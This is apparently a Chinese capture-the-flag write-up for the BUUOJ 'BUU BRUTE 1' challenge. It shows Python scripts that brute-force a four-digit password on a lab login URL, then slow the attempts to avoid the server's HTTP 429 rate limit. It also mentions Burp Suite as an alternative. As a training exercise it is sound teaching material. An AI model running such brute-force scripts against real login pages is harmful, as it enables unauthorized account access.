BUUOJ-BUU BRUTE 1 1
提示是个暴力破解的题

输入常见的admin/admin,

用户名admin正确,使用脚本爆破4位数字密码。
import requests
url = "http://277804f0-9c85-43ee-a853-0c10711e526f.node4.buuoj.cn:81/?username=admin&password="
for i in range(1000,10000):
res = requests.get(url + str(i))
print("[*]Try:",i)
if res.text!="密码错误,为四位数字。":
print("***爆破成功***")
print(res.text)
break

Too Many Reqests! 服务端检测到过快的登录尝试,进行了屏蔽。猜测是短时间爆破的次数太多了,对应的解决方法,是减少并发线程数和每次访问的时间间隔。
在HTTP协议中,响应状态码 429 Too Many Requests 表示在一定的时间内用户发送了太多的请求,即超出了“频次限制”。在响应中,可以提供一个 Retry-After 首部来提示用户需要等待多长时间之后再发送新的请求。
服务器不主动拒绝请求,不封ip,但是会限制请求频率,所有我们要尊重服务器的设置,适当降低请求频率,不要试图解决它。
这里调用python的time库:
Python time sleep() 函数推迟调用线程的运行,可通过参数secs指秒数,表示进程挂起的时间。
import requests
import time
url = "http://277804f0-9c85-43ee-a853-0c10711e526f.node4.buuoj.cn:81/?username=admin&password="
for i in range(1000,10000):
res = requests.get(url + str(i))
print("[*]Try:",i)
time.sleep(1)
if res.text!="密码错误,为四位数字。":
print("***爆破成功***")
print(res.text)
break

这次倒是不会报429,但是比较慢,可以挂载后台让它慢慢跑。如果把间隔的时间再缩短一点比如0.5秒,0.4秒,可能也不会报错。
【脚本这里其实只考虑到了1000以上的4位数,没有包含类似0010这样的4位数组合】
也可以使用burpsuite爆破:(options的request engine中设置请求线程数)
浙公网安备 33010602011771号